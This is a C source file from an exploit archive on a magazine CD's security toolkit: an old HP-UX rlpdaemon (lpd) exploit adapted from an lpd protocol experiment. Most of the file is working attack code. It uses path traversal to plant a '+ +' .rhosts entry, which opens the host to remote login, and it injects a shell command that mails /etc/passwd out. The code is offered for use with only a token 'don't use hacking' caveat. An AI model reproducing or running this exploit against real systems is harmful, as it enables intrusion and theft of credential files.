home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / lpd / rlpexploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  252 lines

  1. /*** lpd-mail.c
  2. **
  3. ** Experiments with the BSD-style 'lpd' protocol.
  4. ** Gus '98
  5. **
  6. ** Modified by Gamma to support sending "Mail When Printed". Use
  7. ** in conjunction with lpd-touch.
  8. **
  9. ** Notes: Potential exploitation of lpd by specifying alternate
  10. **        sendmail alias file to use etc.  However, there areseveral
  11. **        problems which come up to hinder progress.  Here is
  12. **        not the place to go into details, have a play around
  13. **        yourself.
  14. **
  15. **        Eg. ./lpd-mail localhost lp "-oA/var/spool/lpd/x" .
  16. **
  17. **        Will attempt to use /var/spool/lpd/x@..db as an alternative
  18. **        alias file.  Downfall is you are unable to specify a
  19. **        recipiant to pass to sendmail, it gets ran as uid 1 and
  20. **        cannot write to /var/spool/mqueue.  YMMV though depending
  21. **        on the version of Sendmail running.  Multiple versions
  22. **        of Sendmail always drops setuid though so no matter what
  23. **        alternate alias, sendmail.cf file you pass it, problems will
  24. **        arise when it comes to writing to /var/spool/mqueue.
  25. **
  26. ** References: RFC-1179
  27. **
  28. ** Greets: Gus for lpd-rm, pr0pane for mad discussions, Ao12M, #phuk
  29. **
  30. ** lpd-mail.c Send mail when print job has finished
  31. ** Usage: ./lpd-mail <target> <printer> <user> <userhost>          */
  32.  
  33.  
  34.  
  35.  
  36. /*
  37. This program is re-written by LigerTeam
  38.  
  39. Unpublished hp-ux rlpdaemon exploit of LigerTeam
  40.  
  41. Security LigerTeam
  42. homepage   : http://liger.fnetwork.com
  43. Contact Us : ligerteam@hotmail.com
  44.  
  45. Wrote rlpdaemon exploit in 1999.?.?
  46.  
  47. You can get original information at http://www.repsec.com about it.
  48. and  http://www.securityfocus.com/vdb/bottom.html?vid=150
  49.  
  50. Note:
  51. don't use hacking
  52.  
  53. */
  54.  
  55.  
  56.  
  57.  
  58.  
  59.  
  60.  
  61. #include <stdio.h>
  62. #include <stdlib.h>
  63. #include <unistd.h>
  64. #include <fcntl.h>
  65. #include <sys/socket.h>
  66. #include <sys/types.h>
  67. #include <netinet/in.h>
  68. #include <netdb.h>
  69. #include <errno.h>
  70. #include<arpa/inet.h>
  71. /* Control codes for commands.           No spaces unless specified  */
  72. #define LPD_RECIEVE_JOB '\2'           /* \2 printername <lf> */
  73. #define CMD_RECIEVE_CONTROL_FILE '\2'  /* \2 size <space> name <lf> */
  74. #define CMD_RECIEVE_DATA_FILE '\3'     /* \3 size <space> name <lf> */
  75. #define CMD_CLASSNAME 'C'              /* C classname <lf> */
  76. #define CMD_HOSTNAME 'H'               /* H hostname <lf> */
  77. #define CMD_JOBNAME 'J'                /* J jobname <lf> */
  78. #define CMD_PRINTBANNERPAGE 'L'        /* L username <lf */
  79. #define CMD_MAIL_WHEN_PRINTED 'M'
  80.  
  81. /* M username@host <lf> */
  82. #define CMD_SOURCEFILENAME 'N'      /* N filename <lf> */
  83. #define CMD_USERNAME 'P'            /* P user-requesting-job <lf> */
  84. #define CMD_UNLINK 'U'              /* U filename <lf> */
  85. #define CMD_PRINTFORMATTEDFILE 'f'  /* f Filename of pre-formatted text*/
  86.  
  87. void usage(char *);
  88. int doit(int ,char *,char *, char *, char *);
  89. int openhost (char *);
  90.  
  91.  
  92. int main (int argc, char*argv[]) {
  93.  
  94.   int port,sock;
  95.   char *target,*printer,*user,*userhost;
  96.  
  97.   port = 0;
  98.   target = printer = user = userhost = NULL;
  99.  
  100.   fprintf(stderr,"'lpd-mail.c' - Gus'98 with mods by Gamma\n");
  101.   if (argc < 5) usage(argv[0]);
  102.  
  103.   printf("Start !!!!!!!!!!!!\n");
  104.   target = argv[1];
  105.   printer = argv[2];
  106.   user = argv[3];
  107.   userhost = argv[4];
  108.   if ((sock = openhost(target)) > 0) {
  109.     exit(doit(sock,printer,target,user,userhost));
  110.   } else {
  111.     exit(sock);
  112.   }
  113. }
  114.  
  115.  
  116. int openhost (char *target) {
  117.  
  118.   int sock;
  119.   struct hostent *he;
  120.   struct sockaddr_in sa;
  121.   int localport;
  122.  
  123. /*  he=gethostbyname(target);
  124.   if(he==NULL) {
  125.     fprintf(stderr,"Bad hostname");
  126.     return (-1);
  127.   }*/
  128.  
  129.  
  130.   /* According to the RFC, the source port must be in the range
  131.    of 721-731 inclusive. */
  132.  
  133. /*  srand(getpid());
  134.   localport = 721 + (int) (10.0*rand()/(RAND_MAX+1.0));
  135. */
  136.  
  137.   sock=socket(AF_INET,SOCK_STREAM,0);
  138.  
  139. /* sa.sin_addr.s_addr=INADDR_ANY;  */
  140.   sa.sin_family=AF_INET;
  141. /* sa.sin_port=htons(localport);
  142.  
  143.   bind(sock,(struct sockaddr *)&sa,sizeof(sa));*/
  144.   sa.sin_port=htons(515);
  145.   sa.sin_addr.s_addr=inet_addr(target);
  146. /* memcpy(&sa.sin_addr,he->h_addr,he->h_length); */
  147.   if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0) {
  148.     perror("Can't connect");
  149.     return (-1);
  150.   } else {
  151.     fcntl(sock,F_SETFL,O_NONBLOCK);
  152.   }
  153.   printf("Source port: %d  : Connected...\n",localport);
  154.   return(sock);
  155. }
  156.  
  157.  
  158.  
  159. int doit(int sock,char *printer,char *target, char *user, char *userhost){
  160.  
  161.   char hello[255];
  162.   char sendbuf[1024];
  163.   char respbuf[255];
  164.   int readn;
  165.   /* Hello Mr LPD. Can I print to <printer> please ? */
  166.   sprintf(sendbuf,"%c%s\n",LPD_RECIEVE_JOB,printer);
  167.   if ((write(sock,sendbuf,strlen(sendbuf)) != (strlen(printer)+2))) {
  168.     perror("1 write");
  169.   }
  170.  
  171.   /* Why yes young man, what would you like me to do ? */
  172.   readn=read(sock,respbuf,255);
  173.    printf(": %s i read%d\n",respbuf,readn);
  174.  
  175.  
  176.   /*  Would you be so kind as to carry out the commands in this file
  177.    *  as superuser without giving up any priviledges please ?
  178.    */
  179. /*  sprintf(sendbuf,"%c%s\n%croot\n%cmyjobname\n%c%s\n%croot\n%c%s\n%cdfA
  180.                      \n%c;/bin/mail guest@localhost </etc/passwd\n
  181.                      %c/var/spool/lp/.rhosts",
  182.           CMD_HOSTNAME,
  183.           userhost,
  184.           CMD_USERNAME,
  185.           CMD_JOBNAME,
  186.           CMD_CLASSNAME,
  187.           target,
  188.           CMD_PRINTBANNERPAGE,
  189.           CMD_MAIL_WHEN_PRINTED,
  190.           user,
  191.           CMD_PRINTFORMATTEDFILE,CMD_UNLINK,CMD_SOURCEFILENAME);
  192.     */
  193.   /* But of course young feller me lad! Security is for girls! */
  194.  
  195.   /*sprintf(hello,"%c%d cfA13\n",
  196.           CMD_RECIEVE_CONTROL_FILE,strlen(sendbuf));
  197.   printf("Sent hello.\n");
  198.   if (write(sock,hello,strlen(hello)) != strlen(hello)) perror("2 write");
  199.   if (write(sock,sendbuf,strlen(sendbuf)+1) != (strlen(sendbuf)+1)) {
  200.     perror("3 write");
  201.   } */
  202.   printf("Sent command set.\n");
  203.   /*read(sock,respbuf,256);*/
  204.  
  205. strcat(sendbuf,"+ +");
  206. sprintf(hello,"%c%d ../../.rhosts\n", 
  207. CMD_RECIEVE_DATA_FILE,strlen(sendbuf));
  208.  
  209.  
  210.    printf(" send data file \n");
  211. if ( write(sock,hello,strlen(hello)) !=strlen(hello)) perror("3 write");
  212. if ( write(sock,sendbuf,strlen(sendbuf)+1) != ( strlen(sendbuf) + 1 )) {
  213.       perror("3 write ");
  214. }
  215. sprintf(sendbuf,"%c%s\n%croot\n%cmyjobname\n%c%s\n%croot\n%c%s\n%c..
  216.       \n%c;/bin/mail guest@localhost </etc/passwd\n
  217.                   %c../../.rhosts",
  218.                   CMD_HOSTNAME,
  219.                   userhost,
  220.                   CMD_USERNAME,
  221.                   CMD_JOBNAME,
  222.                   CMD_CLASSNAME,
  223.                   target,
  224.                   CMD_PRINTBANNERPAGE,
  225.                   CMD_MAIL_WHEN_PRINTED,
  226.                   user,
  227.                   CMD_PRINTFORMATTEDFILE,CMD_UNLINK,CMD_SOURCEFILENAME);
  228. printf(" making send buf \n");
  229.  
  230.  
  231. sprintf(hello,"%c%d cfA16\n",CMD_RECIEVE_CONTROL_FILE,strlen(sendbuf));
  232. printf("send control file \n");
  233. if ( write(sock,hello,strlen(hello)) != strlen(hello)) perror("2 write\n");
  234. if  ( write(sock,sendbuf,strlen(sendbuf)+1) != (strlen(sendbuf) +1)) {
  235. perror("3 write \n");
  236.          }
  237.  
  238.     read(sock,respbuf,256);
  239.     sleep(3);
  240.     shutdown(sock,2);
  241.  
  242.   return (0);
  243. }
  244.  
  245.  
  246. void usage (char *name) {
  247.   fprintf(stderr,"Usage: %s <target> <printer> <user> <userhost>\n",name);
  248.   exit(1);
  249. }
  250. -----------------------------------------------------------------------------
  251. - The Security LigerTeam 2000 KOREA -
  252.